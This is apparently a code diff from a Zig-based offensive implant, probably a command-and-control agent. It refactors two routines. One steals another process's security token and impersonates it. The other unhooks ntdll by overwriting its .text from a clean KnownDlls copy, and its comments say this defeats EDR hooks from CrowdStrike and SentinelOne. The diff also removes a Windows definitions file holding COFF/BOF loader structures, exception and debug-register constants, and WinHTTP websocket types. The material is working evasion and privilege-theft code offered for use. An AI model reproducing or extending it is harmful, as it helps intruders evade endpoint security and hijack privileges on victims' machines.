oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
|
||||
var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
|
||||
oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
|
||||
|
||||
var proc_handle: win.HANDLE = undefined;
|
||||
if (!win.NT_SUCCESS(syscall.nt_open_process(&proc_handle, win.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
|
||||
var proc_handle: windows.HANDLE = undefined;
|
||||
if (!nt.NT_SUCCESS(syscall.nt_open_process(&proc_handle, nt.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
|
||||
return false;
|
||||
defer _ = syscall.nt_close(proc_handle);
|
||||
|
||||
var token_handle: win.HANDLE = undefined;
|
||||
if (!win.NT_SUCCESS(syscall.nt_open_process_token(proc_handle, win.TOKEN_DUPLICATE | win.TOKEN_QUERY | win.TOKEN_IMPERSONATE, &token_handle)))
|
||||
return false;
|
||||
var token_handle: windows.HANDLE = undefined;
|
||||
if (!nt.NT_SUCCESS(syscall.nt_open_process_token(
|
||||
proc_handle, nt.TOKEN_DUPLICATE | nt.TOKEN_QUERY | nt.TOKEN_IMPERSONATE, &token_handle,
|
||||
))) return false;
|
||||
defer _ = syscall.nt_close(token_handle);
|
||||
|
||||
var dup_token: win.HANDLE = undefined;
|
||||
if (!win.NT_SUCCESS(syscall.nt_duplicate_token(token_handle, win.MAXIMUM_ALLOWED, null, 0, @intFromEnum(win.TOKEN_TYPE.TokenImpersonation), &dup_token)))
|
||||
return false;
|
||||
var dup_token: windows.HANDLE = undefined;
|
||||
if (!nt.NT_SUCCESS(syscall.nt_duplicate_token(
|
||||
token_handle, nt.MAXIMUM_ALLOWED, null, nt.FALSE_BOOL(), @intFromEnum(nt.TOKEN_TYPE.TokenImpersonation), &dup_token,
|
||||
))) return false;
|
||||
defer _ = syscall.nt_close(dup_token);
|
||||
|
||||
return win.NT_SUCCESS(syscall.nt_set_information_thread(
|
||||
return nt.NT_SUCCESS(syscall.nt_set_information_thread(
|
||||
syscall.nt_current_thread(),
|
||||
ThreadImpersonationToken,
|
||||
@ptrCast(&dup_token),
|
||||
@sizeOf(win.HANDLE),
|
||||
@sizeOf(windows.HANDLE),
|
||||
));
|
||||
}
|
||||
|
||||
// Revert to process token by setting ThreadImpersonationToken to NULL.
|
||||
pub fn rev2self() bool {
|
||||
return win.NT_SUCCESS(syscall.nt_set_information_thread(
|
||||
return nt.NT_SUCCESS(syscall.nt_set_information_thread(
|
||||
syscall.nt_current_thread(),
|
||||
ThreadImpersonationToken,
|
||||
null,
|
||||
|
||||
+31
-37
@@ -1,42 +1,36 @@
|
||||
// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
|
||||
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
|
||||
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
|
||||
const std = @import("std");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const win = @import("win32.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
var g_unhooked: bool = false;
|
||||
|
||||
// Map clean .text from \KnownDlls\ntdll.dll section object, overwrite EDR hooks.
|
||||
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
|
||||
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
|
||||
pub fn unhookNtdll() void {
|
||||
if (g_unhooked) return;
|
||||
g_unhooked = true;
|
||||
|
||||
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
||||
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
|
||||
const our_bytes = @as([*]u8, @ptrCast(our_base));
|
||||
const our_bytes: [*]u8 = @ptrCast(our_base);
|
||||
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(our_bytes));
|
||||
if (dos.e_magic != 0x5A4D) return;
|
||||
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
||||
OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 },
|
||||
}, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return;
|
||||
const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
our_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt_hdrs.Signature != 0x00004550) return;
|
||||
|
||||
var text_va: usize = 0;
|
||||
var text_size: usize = 0;
|
||||
const section_off = dos.e_lfanew + 4 + 20 + 240;
|
||||
const sections = @as([*]align(1) extern struct {
|
||||
Name: [8]u8,
|
||||
VirtualSize: u32,
|
||||
VirtualAddress: u32,
|
||||
pad: [20]u8,
|
||||
Characteristics: u32,
|
||||
}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
||||
const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(our_bytes + section_off));
|
||||
for (0..nt_hdrs.FileHeader.NumberOfSections) |i| {
|
||||
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
|
||||
text_va = sections[i].VirtualAddress;
|
||||
text_size = sections[i].VirtualSize;
|
||||
@@ -46,23 +40,23 @@ pub fn unhookNtdll() void {
|
||||
if (text_va == 0 or text_size == 0) return;
|
||||
|
||||
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
|
||||
var us: win.UNICODE_STRING = .{
|
||||
.Length = (@sizeOf(@TypeOf(name)) - 2),
|
||||
var us: nt.UNICODE_STRING = .{
|
||||
.Length = @sizeOf(@TypeOf(name)) - @sizeOf(u16),
|
||||
.MaximumLength = @sizeOf(@TypeOf(name)),
|
||||
.Buffer = @ptrCast(@constCast(&name)),
|
||||
};
|
||||
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
|
||||
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
|
||||
var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
|
||||
oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
|
||||
oa.ObjectName = &us;
|
||||
oa.Attributes = win.OBJ_CASE_INSENSITIVE;
|
||||
oa.Attributes = nt.OBJ_CASE_INSENSITIVE;
|
||||
|
||||
var section_handle: win.HANDLE = undefined;
|
||||
if (!win.NT_SUCCESS(syscall.nt_open_section(§ion_handle, win.SECTION_MAP_READ, &oa)))
|
||||
var section_handle: windows.HANDLE = undefined;
|
||||
if (!nt.NT_SUCCESS(syscall.nt_open_section(§ion_handle, nt.SECTION_MAP_READ, &oa)))
|
||||
return;
|
||||
defer _ = syscall.nt_close(section_handle);
|
||||
|
||||
var view_base: ?*anyopaque = null;
|
||||
var view_size: win.SIZE_T = 0;
|
||||
var view_size: windows.SIZE_T = 0;
|
||||
_ = syscall.nt_map_view_of_section(
|
||||
section_handle,
|
||||
syscall.nt_current_process(),
|
||||
@@ -71,23 +65,23 @@ pub fn unhookNtdll() void {
|
||||
0,
|
||||
null,
|
||||
&view_size,
|
||||
2, // ViewUnmap = 2
|
||||
2,
|
||||
0,
|
||||
win.PAGE_READONLY,
|
||||
nt.PAGE_READONLY,
|
||||
);
|
||||
|
||||
if (view_base != null and view_size >= text_size) {
|
||||
const clean_base = @as([*]u8, @ptrCast(view_base));
|
||||
const clean_base: [*]const u8 = @ptrCast(view_base);
|
||||
const our_text = our_bytes[text_va .. text_va + text_size];
|
||||
|
||||
var region_size: win.SIZE_T = text_size;
|
||||
var old_prot: win.DWORD = 0;
|
||||
var region_size: windows.SIZE_T = text_size;
|
||||
var old_prot: windows.DWORD = 0;
|
||||
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
|
||||
if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
|
||||
if (!nt.NT_SUCCESS(syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&base_ptr,
|
||||
®ion_size,
|
||||
win.PAGE_READWRITE,
|
||||
nt.PAGE_READWRITE,
|
||||
&old_prot,
|
||||
))) return;
|
||||
|
||||
@@ -99,7 +93,7 @@ pub fn unhookNtdll() void {
|
||||
syscall.nt_current_process(),
|
||||
&base_ptr,
|
||||
®ion_size,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
nt.PAGE_EXECUTE_READ,
|
||||
&old_prot,
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,469 +0,0 @@
|
||||
// Win32 type aliases, constants, and struct definitions.
|
||||
const std = @import("std");
|
||||
|
||||
pub const WINAPI = std.builtin.CallingConvention.winapi;
|
||||
|
||||
pub const CHAR = i8;
|
||||
pub const UCHAR = u8;
|
||||
pub const BYTE = u8;
|
||||
pub const WORD = u16;
|
||||
pub const WCHAR = u16;
|
||||
pub const SHORT = i16;
|
||||
pub const INT = i32;
|
||||
pub const UINT = u32;
|
||||
pub const LONG = i32;
|
||||
pub const DWORD = u32;
|
||||
pub const DWORD64 = u64;
|
||||
pub const ULONG = u32;
|
||||
pub const LONGLONG = i64;
|
||||
pub const ULONGLONG = u64;
|
||||
pub const BOOL = i32;
|
||||
pub const BOOLEAN = u8;
|
||||
pub const NTSTATUS = i32;
|
||||
pub const HRESULT = i32;
|
||||
pub const SIZE_T = usize;
|
||||
pub const DWORD_PTR = usize;
|
||||
pub const UINT_PTR = usize;
|
||||
pub const ULONG_PTR = usize;
|
||||
pub const LONG_PTR = isize;
|
||||
pub const LARGE_INTEGER = i64;
|
||||
pub const INTERNET_PORT = u16;
|
||||
|
||||
pub const LPVOID = *anyopaque;
|
||||
pub const LPCVOID = *const anyopaque;
|
||||
pub const HANDLE = *anyopaque;
|
||||
pub const PHANDLE = *HANDLE;
|
||||
pub const HMODULE = *anyopaque;
|
||||
pub const HINSTANCE = *anyopaque;
|
||||
pub const HINTERNET = *anyopaque;
|
||||
|
||||
pub const LPSTR = [*:0]u8;
|
||||
pub const LPCSTR = [*:0]const u8;
|
||||
pub const LPWSTR = [*:0]u16;
|
||||
pub const LPCWSTR = [*:0]const u16;
|
||||
|
||||
pub const PDWORD = *DWORD;
|
||||
pub const PULONG = *ULONG;
|
||||
pub const PSIZE_T = *SIZE_T;
|
||||
pub const PBOOL = *BOOL;
|
||||
|
||||
pub const FARPROC = *const fn () callconv(WINAPI) isize;
|
||||
|
||||
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
|
||||
return status >= 0;
|
||||
}
|
||||
|
||||
pub const MEM_COMMIT: ULONG = 0x00001000;
|
||||
pub const MEM_RESERVE: ULONG = 0x00002000;
|
||||
pub const MEM_RELEASE: ULONG = 0x00008000;
|
||||
|
||||
pub const PAGE_NOACCESS: ULONG = 0x01;
|
||||
pub const PAGE_READONLY: ULONG = 0x02;
|
||||
pub const PAGE_READWRITE: ULONG = 0x04;
|
||||
pub const DLL_PROCESS_ATTACH: ULONG = 1;
|
||||
pub const PAGE_EXECUTE: ULONG = 0x10;
|
||||
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
|
||||
pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40;
|
||||
|
||||
pub const CONTEXT_AMD64: DWORD = 0x00100000;
|
||||
pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010
|
||||
|
||||
pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004;
|
||||
pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
|
||||
pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
|
||||
|
||||
// process/startup constants + structures
|
||||
pub const STARTF_USESTDHANDLES: DWORD = 0x00000100;
|
||||
|
||||
pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000;
|
||||
pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000;
|
||||
|
||||
pub const STARTUPINFOEXA = extern struct {
|
||||
StartupInfo: STARTUPINFOA,
|
||||
lpAttributeList: ?*anyopaque,
|
||||
};
|
||||
|
||||
pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
|
||||
|
||||
// Section access rights for NtOpenSection / NtMapViewOfSection
|
||||
pub const SECTION_MAP_READ: DWORD = 0x0004;
|
||||
pub const SECTION_MAP_WRITE: DWORD = 0x0002;
|
||||
pub const SECTION_MAP_EXECUTE: DWORD = 0x0008;
|
||||
|
||||
pub const PROCESS_QUERY_INFORMATION: DWORD = 0x0400;
|
||||
pub const PROCESS_QUERY_LIMITED_INFORMATION: DWORD = 0x1000;
|
||||
pub const PROCESS_CREATE_PROCESS: DWORD = 0x0080;
|
||||
pub const MAXIMUM_ALLOWED: DWORD = 0x02000000;
|
||||
|
||||
// Object attribute flags
|
||||
pub const OBJ_CASE_INSENSITIVE: ULONG = 0x00000040;
|
||||
|
||||
pub const MAX_PATH: usize = 260;
|
||||
|
||||
pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000;
|
||||
pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0;
|
||||
pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3;
|
||||
pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000;
|
||||
pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133;
|
||||
pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1;
|
||||
|
||||
pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) {
|
||||
BINARY_MESSAGE = 0,
|
||||
BINARY_FRAGMENT = 1,
|
||||
UTF8_MESSAGE = 2,
|
||||
UTF8_FRAGMENT = 3,
|
||||
CLOSE = 4,
|
||||
};
|
||||
|
||||
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
|
||||
pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2;
|
||||
pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
|
||||
|
||||
pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
|
||||
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
|
||||
pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002;
|
||||
pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
|
||||
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
|
||||
pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005;
|
||||
pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006;
|
||||
pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007;
|
||||
pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008;
|
||||
pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009;
|
||||
|
||||
pub const COFF_SECT_EXEC: u32 = 0x20000000;
|
||||
pub const COFF_SECT_WRITE: u32 = 0x80000000;
|
||||
pub const COFF_SECT_DATA: u32 = 0x40000000;
|
||||
|
||||
pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' };
|
||||
pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' };
|
||||
pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' };
|
||||
pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002;
|
||||
|
||||
pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' };
|
||||
pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' };
|
||||
pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3));
|
||||
|
||||
pub const AES_KEY_SIZE: usize = 32;
|
||||
pub const GCM_NONCE_SIZE: usize = 12;
|
||||
pub const GCM_TAG_SIZE: usize = 16;
|
||||
|
||||
pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void {
|
||||
info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
|
||||
info.dwInfoVersion = 1;
|
||||
info.pbNonce = null;
|
||||
info.cbNonce = 0;
|
||||
info.pbAuthData = null;
|
||||
info.cbAuthData = 0;
|
||||
info.pbTag = null;
|
||||
info.cbTag = 0;
|
||||
info.pbMacContext = null;
|
||||
info.cbMacContext = 0;
|
||||
info.dwFlags = 0;
|
||||
info.pbIV = null;
|
||||
info.cbIV = 0;
|
||||
}
|
||||
|
||||
pub const UNICODE_STRING = extern struct {
|
||||
Length: u16,
|
||||
MaximumLength: u16,
|
||||
Buffer: [*]u16,
|
||||
};
|
||||
|
||||
pub const SYSTEM_INFO = extern struct {
|
||||
u: extern union {
|
||||
dwOemId: DWORD,
|
||||
s: extern struct {
|
||||
wProcessorArchitecture: WORD,
|
||||
wReserved: WORD,
|
||||
},
|
||||
},
|
||||
dwPageSize: DWORD,
|
||||
lpMinimumApplicationAddress: LPVOID,
|
||||
lpMaximumApplicationAddress: LPVOID,
|
||||
dwActiveProcessorMask: DWORD_PTR,
|
||||
dwNumberOfProcessors: DWORD,
|
||||
dwProcessorType: DWORD,
|
||||
dwAllocationGranularity: DWORD,
|
||||
wProcessorLevel: WORD,
|
||||
wProcessorRevision: WORD,
|
||||
};
|
||||
|
||||
pub const COORD = extern struct {
|
||||
X: SHORT,
|
||||
Y: SHORT,
|
||||
};
|
||||
|
||||
pub const MEMORY_BASIC_INFORMATION = extern struct {
|
||||
BaseAddress: LPVOID,
|
||||
AllocationBase: LPVOID,
|
||||
AllocationProtect: DWORD,
|
||||
RegionSize: SIZE_T,
|
||||
State: DWORD,
|
||||
Protect: DWORD,
|
||||
Type: DWORD,
|
||||
};
|
||||
|
||||
pub const SECURITY_ATTRIBUTES = extern struct {
|
||||
nLength: DWORD,
|
||||
lpSecurityDescriptor: ?LPVOID,
|
||||
bInheritHandle: BOOL,
|
||||
};
|
||||
|
||||
pub const PROCESS_INFORMATION = extern struct {
|
||||
hProcess: HANDLE,
|
||||
hThread: HANDLE,
|
||||
dwProcessId: DWORD,
|
||||
dwThreadId: DWORD,
|
||||
};
|
||||
|
||||
pub const STARTUPINFOA = extern struct {
|
||||
cb: DWORD,
|
||||
lpReserved: LPSTR,
|
||||
lpDesktop: LPSTR,
|
||||
lpTitle: LPSTR,
|
||||
dwX: DWORD,
|
||||
dwY: DWORD,
|
||||
dwXSize: DWORD,
|
||||
dwYSize: DWORD,
|
||||
dwXCountChars: DWORD,
|
||||
dwYCountChars: DWORD,
|
||||
dwFillAttribute: DWORD,
|
||||
dwFlags: DWORD,
|
||||
wShowWindow: WORD,
|
||||
cbReserved2: WORD,
|
||||
lpReserved2: *BYTE,
|
||||
hStdInput: HANDLE,
|
||||
hStdOutput: HANDLE,
|
||||
hStdError: HANDLE,
|
||||
};
|
||||
|
||||
pub const SYSTEMTIME = extern struct {
|
||||
wYear: WORD,
|
||||
wMonth: WORD,
|
||||
wDayOfWeek: WORD,
|
||||
wDay: WORD,
|
||||
wHour: WORD,
|
||||
wMinute: WORD,
|
||||
wSecond: WORD,
|
||||
wMilliseconds: WORD,
|
||||
};
|
||||
|
||||
pub const CONTEXT = extern struct {
|
||||
P1Home: DWORD64,
|
||||
P2Home: DWORD64,
|
||||
P3Home: DWORD64,
|
||||
P4Home: DWORD64,
|
||||
P5Home: DWORD64,
|
||||
P6Home: DWORD64,
|
||||
ContextFlags: DWORD,
|
||||
MxCsr: DWORD,
|
||||
SegCs: WORD,
|
||||
SegDs: WORD,
|
||||
SegEs: WORD,
|
||||
SegFs: WORD,
|
||||
SegGs: WORD,
|
||||
SegSs: WORD,
|
||||
EFlags: DWORD,
|
||||
Dr0: DWORD64,
|
||||
Dr1: DWORD64,
|
||||
Dr2: DWORD64,
|
||||
Dr3: DWORD64,
|
||||
Dr6: DWORD64,
|
||||
Dr7: DWORD64,
|
||||
Rax: DWORD64,
|
||||
Rcx: DWORD64,
|
||||
Rdx: DWORD64,
|
||||
Rbx: DWORD64,
|
||||
Rsp: DWORD64,
|
||||
Rbp: DWORD64,
|
||||
Rsi: DWORD64,
|
||||
Rdi: DWORD64,
|
||||
R8: DWORD64,
|
||||
R9: DWORD64,
|
||||
R10: DWORD64,
|
||||
R11: DWORD64,
|
||||
R12: DWORD64,
|
||||
R13: DWORD64,
|
||||
R14: DWORD64,
|
||||
R15: DWORD64,
|
||||
Rip: DWORD64,
|
||||
};
|
||||
|
||||
pub const EXCEPTION_RECORD = extern struct {
|
||||
ExceptionCode: DWORD,
|
||||
ExceptionFlags: DWORD,
|
||||
ExceptionRecord: *EXCEPTION_RECORD,
|
||||
ExceptionAddress: *anyopaque,
|
||||
NumberParameters: DWORD,
|
||||
ExceptionInformation: [15]ULONG_PTR,
|
||||
};
|
||||
|
||||
pub const EXCEPTION_POINTERS = extern struct {
|
||||
ExceptionRecord: *EXCEPTION_RECORD,
|
||||
ContextRecord: *CONTEXT,
|
||||
};
|
||||
|
||||
pub const RTL_OSVERSIONINFOW = extern struct {
|
||||
dwOSVersionInfoSize: DWORD,
|
||||
dwMajorVersion: DWORD,
|
||||
dwMinorVersion: DWORD,
|
||||
dwBuildNumber: DWORD,
|
||||
dwPlatformId: DWORD,
|
||||
szCSDVersion: [128]WCHAR,
|
||||
};
|
||||
|
||||
pub const BCRYPT_ALG_HANDLE = *opaque {};
|
||||
pub const BCRYPT_KEY_HANDLE = *opaque {};
|
||||
pub const BCRYPT_SECRET_HANDLE = *opaque {};
|
||||
|
||||
pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct {
|
||||
cbSize: ULONG,
|
||||
dwInfoVersion: ULONG,
|
||||
pbNonce: ?*u8,
|
||||
cbNonce: ULONG,
|
||||
pbAuthData: ?*u8,
|
||||
cbAuthData: ULONG,
|
||||
pbTag: ?*u8,
|
||||
cbTag: ULONG,
|
||||
pbMacContext: ?*u8,
|
||||
cbMacContext: ULONG,
|
||||
dwFlags: ULONG,
|
||||
pbIV: ?*u8,
|
||||
cbIV: ULONG,
|
||||
};
|
||||
|
||||
pub const coff_file_header_t = extern struct {
|
||||
Machine: u16,
|
||||
NumberOfSections: u16,
|
||||
TimeDateStamp: u32,
|
||||
PointerToSymbolTable: u32,
|
||||
NumberOfSymbols: u32,
|
||||
SizeOfOptionalHeader: u16,
|
||||
Characteristics: u16,
|
||||
};
|
||||
|
||||
pub const coff_section_header_t = extern struct {
|
||||
Name: [8]u8,
|
||||
VirtualSize: u32,
|
||||
VirtualAddress: u32,
|
||||
SizeOfRawData: u32,
|
||||
PointerToRawData: u32,
|
||||
PointerToRelocations: u32,
|
||||
PointerToLinenumbers: u32,
|
||||
NumberOfRelocations: u16,
|
||||
NumberOfLinenumbers: u16,
|
||||
Characteristics: u32,
|
||||
};
|
||||
|
||||
pub const coff_symbol_t = extern struct {
|
||||
Name: extern union {
|
||||
ShortName: [8]u8,
|
||||
LongName: extern struct {
|
||||
Zeroes: u32,
|
||||
Offset: u32,
|
||||
},
|
||||
},
|
||||
Value: u32,
|
||||
SectionNumber: i16,
|
||||
Type: u16,
|
||||
StorageClass: u8,
|
||||
NumberOfAuxSymbols: u8,
|
||||
};
|
||||
|
||||
pub const coff_reloc_t = extern struct {
|
||||
VirtualAddress: u32,
|
||||
SymbolTableIndex: u32,
|
||||
Type: u16,
|
||||
};
|
||||
|
||||
pub const coff_mapped_section_t = struct {
|
||||
data: []u8,
|
||||
characteristics: u32,
|
||||
name: [8]u8,
|
||||
};
|
||||
|
||||
pub const bof_data_parser_t = struct {
|
||||
data: []const u8,
|
||||
offset: usize,
|
||||
};
|
||||
|
||||
pub const OBJECT_ATTRIBUTES = extern struct {
|
||||
Length: ULONG,
|
||||
RootDirectory: ?HANDLE,
|
||||
ObjectName: ?*anyopaque,
|
||||
Attributes: ULONG,
|
||||
SecurityDescriptor: ?*anyopaque,
|
||||
SecurityQualityOfService: ?*anyopaque,
|
||||
};
|
||||
|
||||
pub const CLIENT_ID = extern struct {
|
||||
UniqueProcess: HANDLE,
|
||||
UniqueThread: ?HANDLE,
|
||||
};
|
||||
|
||||
pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct {
|
||||
Version: ULONG,
|
||||
Reserved: ULONG,
|
||||
Callback: ?*anyopaque,
|
||||
};
|
||||
|
||||
pub const PROCESS_CREATE_INFO = extern struct {
|
||||
Size: SIZE_T,
|
||||
ProcessHandle: HANDLE,
|
||||
ParentProcess: HANDLE,
|
||||
};
|
||||
|
||||
pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) {
|
||||
SecurityAnonymous = 0,
|
||||
SecurityIdentification = 1,
|
||||
SecurityImpersonation = 2,
|
||||
SecurityDelegation = 3,
|
||||
};
|
||||
|
||||
pub const TOKEN_TYPE = enum(u32) {
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation = 2,
|
||||
};
|
||||
|
||||
pub const TOKEN_DUPLICATE: DWORD = 0x0002;
|
||||
pub const TOKEN_QUERY: DWORD = 0x0008;
|
||||
pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020;
|
||||
pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001;
|
||||
pub const TOKEN_IMPERSONATE: DWORD = 0x0004;
|
||||
|
||||
pub const LUID = extern struct {
|
||||
LowPart: DWORD,
|
||||
HighPart: LONG,
|
||||
};
|
||||
|
||||
pub const LUID_AND_ATTRIBUTES = extern struct {
|
||||
Luid: LUID,
|
||||
Attributes: DWORD,
|
||||
};
|
||||
|
||||
pub const TOKEN_PRIVILEGES = extern struct {
|
||||
PrivilegeCount: DWORD,
|
||||
Privileges: [1]LUID_AND_ATTRIBUTES,
|
||||
};
|
||||
|
||||
pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002;
|
||||
pub const GENERIC_READ: DWORD = 0x80000000;
|
||||
pub const GENERIC_WRITE: DWORD = 0x40000000;
|
||||
pub const OPEN_EXISTING: DWORD = 3;
|
||||
pub const OPEN_ALWAYS: DWORD = 4;
|
||||
pub const CREATE_ALWAYS: DWORD = 2;
|
||||
pub const FILE_SHARE_READ: DWORD = 0x00000001;
|
||||
pub const FILE_SHARE_WRITE: DWORD = 0x00000002;
|
||||
pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080;
|
||||
pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0));
|
||||
|
||||
pub const CRITICAL_SECTION = extern struct {
|
||||
DebugInfo: ?*anyopaque,
|
||||
LockCount: LONG,
|
||||
RecursionCount: LONG,
|
||||
OwningThread: HANDLE,
|
||||
LockSemaphore: HANDLE,
|
||||
SpinCount: ULONG_PTR,
|
||||
};
|
||||
|
||||
pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;
|
||||
Reference in New Issue
Block a user